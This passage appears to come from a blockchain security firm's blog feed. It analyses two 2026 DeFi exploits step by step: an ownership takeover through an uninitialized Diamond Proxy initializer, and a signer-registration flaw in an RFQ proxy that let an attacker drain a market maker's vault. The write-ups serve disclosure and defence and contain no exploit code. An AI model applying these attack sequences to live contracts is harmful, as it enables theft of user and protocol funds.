Proxy</strong> - registering an <code>initialize(address)</code> selector - but omitted the post-cut initializer call, leaving the OpenZeppelin <code>_initialized</code> storage slot at zero. An attacker observed this uninitialized state, called <code>initialize()</code> to seize ownership, injected a fund-draining logic facet, and swept outstanding user USDC approvals.</p><h2><strong>Technical Analysis of the Exploit</strong></h2><h3><strong>Incident Overview</strong></h3><ul><li><p><strong>Time of Incident:</strong> May 12, 2026.</p></li><li><p><strong>Target Chain:</strong> Arbitrum One.</p></li><li><p><strong>Total Loss:</strong> ~456K USDC.</p></li><li><p><strong>Pre-condition - Owner Upgrade (Incomplete):</strong> <a href="https://arbiscan.io/tx/0x1868d5d48ffc6b4c226208fcd2a5f70654456a77a173f81fe514ae15fabc86d1">0x1868d5d48ffc6b4c226208fcd2a5f70654456a77a173f81fe514ae15fabc86d1</a></p></li><li><p><strong>Attack Transaction:</strong> <a href="https://arbiscan.io/tx/0x19cbafae517791e7e73403313d70440abf60558350e419df05c04f816998fe0a">0x19cbafae517791e7e73403313d70440abf60558350e419df05c04f816998fe0a</a></p></li><li><p><strong>Victim Contract (Diamond Proxy):</strong> <a href="https://arbiscan.io/address/0x0adc63e71b035d5c7fdb1b4593999fa1f296f1b2">0x0adc63e71b035d5c7fdb1b4593999fa1f296f1b2</a></p></li><li><p><strong>Malicious Facet:</strong> <a href="https://arbiscan.io/address/0x3ca79c1cf29b8d19f7c643bb6e6bc9c49762e70f">0x3CA79C1cf29B8d19F7c643bB6E6bc9c49762E70f</a></p></li><li><p><strong>Attacker Address (EOA):</strong> <a href="https://arbiscan.io/address/0x9F49591a3bf95B49cD8d9477b4481Ce9da68d5Ca">0x9F49591a3bf95B49cD8d9477b4481Ce9da68d5Ca</a></p></li></ul><h3>Root Cause</h3><p>The vulnerability arose from two compounding weaknesses in <strong>Aurellion Labs&#8217; EIP-2535 Diamond Proxy</strong> implementation.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><strong>First</strong>, the protocol&#8217;s own owner performed a facet upgrade - transaction <a href="https://arbiscan.io/tx/0x1868d5d48ffc6b4c226208fcd2a5f70654456a77a173f81fe514ae15fabc86d1">0x1868d5...bc86d1</a> - adding a new <code>SafeOwnable</code> facet under action <code>Add</code> with five selectors including <code>initialize(address)</code>. The <code>diamondCut</code> call set <code>target = address(0)</code> and <code>data = ""</code>, meaning <strong>no initializer was invoked as part of the upgrade</strong>. </p><p><strong>Second</strong>, the proxy's existing ownership had been set through a path that never wrote to the <code>_initialized</code> slot, so the guard remained at zero. The proxy treated itself as uninitialized, leaving <code>initialize(address)</code> open to any caller.</p><p>By invoking <code>initialize()</code> and supplying an attacker-controlled address, the adversary successfully <strong>overwrote the </strong><code>_owner</code><strong> record</strong> at the LibDiamond storage slot (<code>0xc8fcad8d...131f</code>) and assumed full administrative control over the proxy - including the authority to make further <code>diamondCut</code> calls.</p><h3>Attack Flow</h3><p>The attack executed across two transactions on Arbitrum One.</p><p><strong>Pre-condition: Incomplete Owner Upgrade</strong></p><p>Prior to the exploit, the protocol&#8217;s owner called <code>diamondCut</code> (transaction <a href="https://arbiscan.io/tx/0x1868d5d48ffc6b4c226208fcd2a5f70654456a77a173f81fe514ae15fabc86d1">0x1868d5...bc86d1</a>) to add a new <code>SafeOwnable</code> facet at <a href="https://arbiscan.io/address/0x3ca79c1cf29b8d19f7c643bb6e6bc9c49762e70f">0x3CA79C1cf29B8d19F7c643bB6E6bc9c49762E70f</a> with action <code>Add</code> across five selectors:</p><ul><li><p><code>0xc4d66de8</code> - <code>initialize(address)</code></p></li><li><p><code>0x8da5cb5b</code> - <code>owner()</code></p></li><li><p><code>0xf2fde38b</code> - <code>transferOwnership(address)</code></p></li><li><p><code>0x79ba5097</code> - <code>acceptOwnership()</code></p></li><li><p><code>0x715018a6</code> - <code>renounceOwnership()</code></p></li></ul><p>The <code>target</code> was <code>address(0)</code> and <code>data</code> was empty - the post-cut <code>initialize()</code> call was never made. This was the critical omission: the Diamond now had a live <code>initialize(address)</code> selector registered against a facet whose OpenZeppelin guard slot had never been written, leaving initialization open to any caller.</p><p><strong>Ownership Takeover</strong></p><p>In transaction <a href="https://arbiscan.io/tx/0x19cbafae517791e7e73403313d70440abf60558350e419df05c04f816998fe0a">0x19cbaf...98fe0a</a>, the attacker called <code>initialize(0x4D7759&#8230;8F4d7e)</code> on the Diamond Proxy, passing an attacker-controlled intermediary contract as the new owner argument. Because the <code>_initialized</code> slot was <code>0</code>, the guard passed without reversion. An <code>OwnershipTransferred</code> event was emitted, transferring control away from the legitimate owner (<code>0x1866Fd4a9e15E0005480b5171B63b43d2d507698</code>) to the attacker&#8217;s intermediary (<code>0x4D7759e69cC973D338a1ea2fDB125C2b818F4d7e</code>). An <code>Initialized</code> event immediately followed, updating the version counter to <code>1</code> and permanently sealing the initialization path against any future re-entry.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!POay!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F847aee26-02c1-4eac-bb7e-9c82a9c37ea0_2624x284.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!POay!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F847aee26-02c1-4eac-bb7e-9c82a9c37ea0_2624x284.png 424w, https://substackcdn.com/image/fetch/$s_!POay!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F847aee26-02c1-4eac-bb7e-9c82a9c37ea0_2624x284.png 848w, https://substackcdn.com/image/fetch/$s_!POay!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F847aee26-02c1-4eac-bb7e-9c82a9c37ea0_2624x284.png 1272w, https://substackcdn.com/image/fetch/$s_!POay!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F847aee26-02c1-4eac-bb7e-9c82a9c37ea0_2624x284.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!POay!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F847aee26-02c1-4eac-bb7e-9c82a9c37ea0_2624x284.png" width="1456" height="158" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/847aee26-02c1-4eac-bb7e-9c82a9c37ea0_2624x284.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:158,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:174185,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/198357504?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F847aee26-02c1-4eac-bb7e-9c82a9c37ea0_2624x284.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!POay!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F847aee26-02c1-4eac-bb7e-9c82a9c37ea0_2624x284.png 424w, https://substackcdn.com/image/fetch/$s_!POay!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F847aee26-02c1-4eac-bb7e-9c82a9c37ea0_2624x284.png 848w, https://substackcdn.com/image/fetch/$s_!POay!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F847aee26-02c1-4eac-bb7e-9c82a9c37ea0_2624x284.png 1272w, https://substackcdn.com/image/fetch/$s_!POay!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F847aee26-02c1-4eac-bb7e-9c82a9c37ea0_2624x284.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p><strong>Malicious Facet Injection</strong></p><p>Now holding proxy ownership through the intermediary contract, the attacker invoked <code>diamondCut</code> - the EIP-2535 mechanism used to register or replace logic facets - to append a custom, attacker-controlled facet (<code>0x3ca79c1cf29b8d19f7c643bb6e6bc9c49762e70f</code>) to the proxy. A <code>DiamondCutExecuted</code> event confirmed the registration of proposal <code>0x1133cd&#8230;3fa548</code>. This facet exposed a <code>pullERC20</code> function capable of issuing arbitrary <code>transferFrom</code> calls on behalf of the proxy, against any token for which the proxy held a user-granted allowance.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!tRWp!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8294e3c4-a4c4-4fbd-ba6e-e0c0c79d5c1c_2860x216.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!tRWp!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8294e3c4-a4c4-4fbd-ba6e-e0c0c79d5c1c_2860x216.png 424w, https://substackcdn.com/image/fetch/$s_!tRWp!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8294e3c4-a4c4-4fbd-ba6e-e0c0c79d5c1c_2860x216.png 848w, https://substackcdn.com/image/fetch/$s_!tRWp!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8294e3c4-a4c4-4fbd-ba6e-e0c0c79d5c1c_2860x216.png 1272w, https://substackcdn.com/image/fetch/$s_!tRWp!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8294e3c4-a4c4-4fbd-ba6e-e0c0c79d5c1c_2860x216.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!tRWp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8294e3c4-a4c4-4fbd-ba6e-e0c0c79d5c1c_2860x216.png" width="1456" height="110" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8294e3c4-a4c4-4fbd-ba6e-e0c0c79d5c1c_2860x216.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:110,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:161924,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/198357504?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8294e3c4-a4c4-4fbd-ba6e-e0c0c79d5c1c_2860x216.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!tRWp!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8294e3c4-a4c4-4fbd-ba6e-e0c0c79d5c1c_2860x216.png 424w, https://substackcdn.com/image/fetch/$s_!tRWp!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8294e3c4-a4c4-4fbd-ba6e-e0c0c79d5c1c_2860x216.png 848w, https://substackcdn.com/image/fetch/$s_!tRWp!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8294e3c4-a4c4-4fbd-ba6e-e0c0c79d5c1c_2860x216.png 1272w, https://substackcdn.com/image/fetch/$s_!tRWp!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8294e3c4-a4c4-4fbd-ba6e-e0c0c79d5c1c_2860x216.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p><strong>User Fund Drainage</strong></p><p>Because users had previously granted USDC allowances to the Aurellion proxy for legitimate protocol interactions, the attacker used <code>pullERC20</code> to sweep those outstanding balances:</p><ul><li><p><strong>450,999.72 USDC</strong> drained from <code>0x2e933518068b1CFC9746d94762Ef2EDDD39c6048</code></p></li><li><p><strong>3.00 USDC</strong> drained from <code>0xa90714a15D6e5C0EB3096462De8dc4B22E01589A</code></p></li><li><p><strong>1.28 USDC</strong> drained from <code>0xEceD2D37e5EDCFc67ffB74c655416F893d20793E</code></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!IwK9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a890dd7-7bda-42f4-bdf6-fae68552afd6_2914x758.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!IwK9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a890dd7-7bda-42f4-bdf6-fae68552afd6_2914x758.png 424w, https://substackcdn.com/image/fetch/$s_!IwK9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a890dd7-7bda-42f4-bdf6-fae68552afd6_2914x758.png 848w, https://substackcdn.com/image/fetch/$s_!IwK9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a890dd7-7bda-42f4-bdf6-fae68552afd6_2914x758.png 1272w, https://substackcdn.com/image/fetch/$s_!IwK9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a890dd7-7bda-42f4-bdf6-fae68552afd6_2914x758.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!IwK9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a890dd7-7bda-42f4-bdf6-fae68552afd6_2914x758.png" width="1456" height="379" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9a890dd7-7bda-42f4-bdf6-fae68552afd6_2914x758.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:379,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:528365,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/198357504?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a890dd7-7bda-42f4-bdf6-fae68552afd6_2914x758.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!IwK9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a890dd7-7bda-42f4-bdf6-fae68552afd6_2914x758.png 424w, https://substackcdn.com/image/fetch/$s_!IwK9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a890dd7-7bda-42f4-bdf6-fae68552afd6_2914x758.png 848w, https://substackcdn.com/image/fetch/$s_!IwK9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a890dd7-7bda-42f4-bdf6-fae68552afd6_2914x758.png 1272w, https://substackcdn.com/image/fetch/$s_!IwK9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a890dd7-7bda-42f4-bdf6-fae68552afd6_2914x758.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p></li></ul><p><strong>Fund Extraction</strong></p><p>The proxy consolidated approximately <strong>456,442.53 USDC</strong> - inclusive of residual in-contract balance - and forwarded the full amount to the attacker&#8217;s primary wallet (<code>0x9F49591a3bf95B49cD8d9477b4481Ce9da68d5Ca</code>), completing the exploit without any additional transactions.</p><h2>Conclusion</h2><p>A legitimate facet upgrade, one skipped <code>initialize()</code> call, and complete protocol takeover - this incident shows how small deployment gaps become catastrophic in a Diamond Proxy, where facets can be swapped independently but must each be initialized atomically.</p><p>In EIP-2535, the gap between &#8220;facet registered&#8221; and &#8220;initializer called&#8221; is narrow in implementation and devastating in consequence. The fix is unambiguous: either encode the <code>initialize()</code> call directly in the <code>diamondCut</code> <code>data</code> field so it executes atomically, or permanently close it with <code>_disableInitializers()</code> in the facet&#8217;s constructor. A deferred follow-up transaction is not acceptable.</p><p>The attack also illustrates a <strong>second-order risk</strong> in any approval-based model: the attacker swept funds not from the protocol&#8217;s treasury but from users&#8217; wallets, exploiting pre-existing USDC allowances on the now-compromised contract. Contract vulnerabilities can become user losses - revoking stale token approvals remains an important habit.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://blog.verichains.io/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[TrustedVolumes Exploit Analysis]]></title><description><![CDATA[On May 7, 2026, TrustedVolumes, an independent DeFi liquidity provider and RFQ market maker, was exploited, resulting in a loss of approximately $6.7M on-chain.]]></description><link>https://blog.verichains.io/p/trustedvolumes-exploit-analysis</link><guid isPermaLink="false">https://blog.verichains.io/p/trustedvolumes-exploit-analysis</guid><dc:creator><![CDATA[nt]]></dc:creator><pubDate>Mon, 18 May 2026 10:24:04 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!llIw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ef124a-d397-49a4-abb5-b356ade8b46f_1453x567.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On May 7, 2026, TrustedVolumes, an independent DeFi liquidity provider and RFQ market maker, was exploited, resulting in a loss of approximately <strong>$6.7M</strong> on-chain.</p><h2><strong>Protocol Overview</strong></h2><p>TrustedVolumes operates as a market maker and resolver in DeFi, specializing in Request-for-Quote (RFQ) systems. Rather than relying on AMM pools, it quotes prices for token pairs and fulfills signed orders directly from its own inventory. It served as a liquidity resolver for aggregators including 1inch Fusion, providing deep liquidity for WETH, WBTC, USDT, and USDC.</p><p>The protocol&#8217;s core mechanism is a custom RFQ proxy contract. Makers pre-authorize signers, takers submit signed orders to the proxy, and the proxy verifies signatures before executing atomic token swaps via <code>transferFrom</code> from the maker&#8217;s approved inventory.</p><h2><strong>Background</strong></h2><h3><strong>Contracts</strong></h3><ul><li><p><code>RFQProxy</code> (<a href="https://etherscan.io/address/0xeEeEEe53033F7227d488ae83a27Bc9A9D5051756">0xeEeEEe53033F7227d488ae83a27Bc9A9D5051756</a>): The public entry point. Routes calls via <code>DELEGATECALL</code> to the implementation.</p></li><li><p><code>RFQImplementation</code> (<a href="https://etherscan.io/address/0x88eb28009351Fb414A5746F5d8CA91cdc02760d8">0x88eb28009351Fb414A5746F5d8CA91cdc02760d8</a>): Contains the order-filling logic. Unverified on Etherscan.</p></li><li><p><code>InventoryVault</code> (<a href="https://etherscan.io/address/0x9bA0CF1588E1DFA905eC948F7FE5104dD40EDa31">0x9bA0CF1588E1DFA905eC948F7FE5104dD40EDa31</a>): Holds TrustedVolumes&#8217; token reserves with unlimited ERC-20 approvals granted to the proxy.</p></li></ul><h3><strong>Key Functions</strong></h3><ul><li><p><code>registerAllowedOrderSigner(address signer, bool allowed)</code>: Registers an EOA as an authorized signer for orders where <code>msg.sender</code> is the receiver. Intended to be called only by the maker.</p></li><li><p>fill-order function (selector <code>0x4112e1c2</code>): Verifies the order signature, checks replay protection, then executes the token swap by pulling from <code>order.inventory</code> into the recipient address.</p></li></ul><h3><strong>Normal Order-Fill Flow</strong></h3><ol><li><p>TrustedVolumes registers its authorized signers via <code>registerAllowedOrderSigner</code>.</p></li><li><p>A taker requests a quote; TrustedVolumes&#8217; authorized signer signs an order specifying the token pair, amounts, <code>inventory</code> source, and a unique salt.</p></li><li><p>Taker submits the signed order to fill-order.</p></li><li><p>The proxy recovers the signer via <code>ecrecover</code> and checks <code>allowedOrderSigner[order.receiver][signer]</code>.</p></li><li><p>Replay protection confirms the salt has not been used.</p></li><li><p>Proxy pulls tokens from <code>order.inventory</code> to the recipient and receives payment in return.</p></li><li><p>Order is marked as filled.</p></li></ol><h2><strong>Key Information</strong></h2><ul><li><p><strong>Attacker EOA</strong>: <a href="https://etherscan.io/address/0xC3EBDdEa4f69df717a8f5c89e7cF20C1c0389100">0xC3EBDdEa4f69df717a8f5c89e7cF20C1c0389100</a></p></li><li><p><strong>Exploit contract</strong>: <a href="https://etherscan.io/address/0xD4D5DB5EC65272B26F756712247281515F211E95">0xD4D5DB5EC65272B26F756712247281515F211E95</a></p></li><li><p><strong>Attack transaction</strong>: <a href="https://etherscan.io/tx/0xc5c61b3ac39d854773b9dc34bd0cdbc8b5bbf75f18551802a0b5881fcb990513">0xc5c61b3ac39d854773b9dc34bd0cdbc8b5bbf75f18551802a0b5881fcb990513</a></p></li></ul><h2><strong>Exploit Analysis</strong></h2><h3><strong>Intended vs. Actual Behavior</strong></h3><p>Normally, <code>registerAllowedOrderSigner</code> should only be callable by the maker, binding a trusted signer to that maker&#8217;s receiver address. The fill-order function should then verify that the signer is authorized for the same receiver whose inventory is being pulled. These two checks - signer authorization and token source - were expected to be tightly coupled.</p><p>They were not.</p><h3><strong>The Attack</strong></h3><p>After looking at the end of the attack transaction, the attacker ended up with <strong>1,291 WETH</strong>, <strong>206,282 USDT</strong>, <strong>16.939 WBTC</strong>, and <strong>1,268,771 USDC</strong> - all drained from TrustedVolumes&#8217; vault in a single atomic transaction. How was this possible?</p><p><strong>Step 1 - Deploy and register.</strong> The attacker deployed exploit contract <a href="https://etherscan.io/address/0xD4D5DB5EC65272B26F756712247281515F211E95">0xD4D5DB5EC65272B26F756712247281515F211E95</a>. In its constructor, it immediately called <code>registerAllowedOrderSigner(attacker_EOA, true)</code>. Because the function had no access control whatsoever, this succeeded - the attacker&#8217;s EOA was now a valid signer for any order where the exploit contract was the <code>receiver</code>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!llIw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ef124a-d397-49a4-abb5-b356ade8b46f_1453x567.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!llIw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ef124a-d397-49a4-abb5-b356ade8b46f_1453x567.png 424w, https://substackcdn.com/image/fetch/$s_!llIw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ef124a-d397-49a4-abb5-b356ade8b46f_1453x567.png 848w, https://substackcdn.com/image/fetch/$s_!llIw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ef124a-d397-49a4-abb5-b356ade8b46f_1453x567.png 1272w, https://substackcdn.com/image/fetch/$s_!llIw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ef124a-d397-49a4-abb5-b356ade8b46f_1453x567.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!llIw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ef124a-d397-49a4-abb5-b356ade8b46f_1453x567.png" width="1453" height="567" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b2ef124a-d397-49a4-abb5-b356ade8b46f_1453x567.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:567,&quot;width&quot;:1453,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:243209,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/198240339?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ef124a-d397-49a4-abb5-b356ade8b46f_1453x567.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!llIw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb2ef124a-d397-49a4-abb5-b356ade8b46f_1453x567.png 424w, 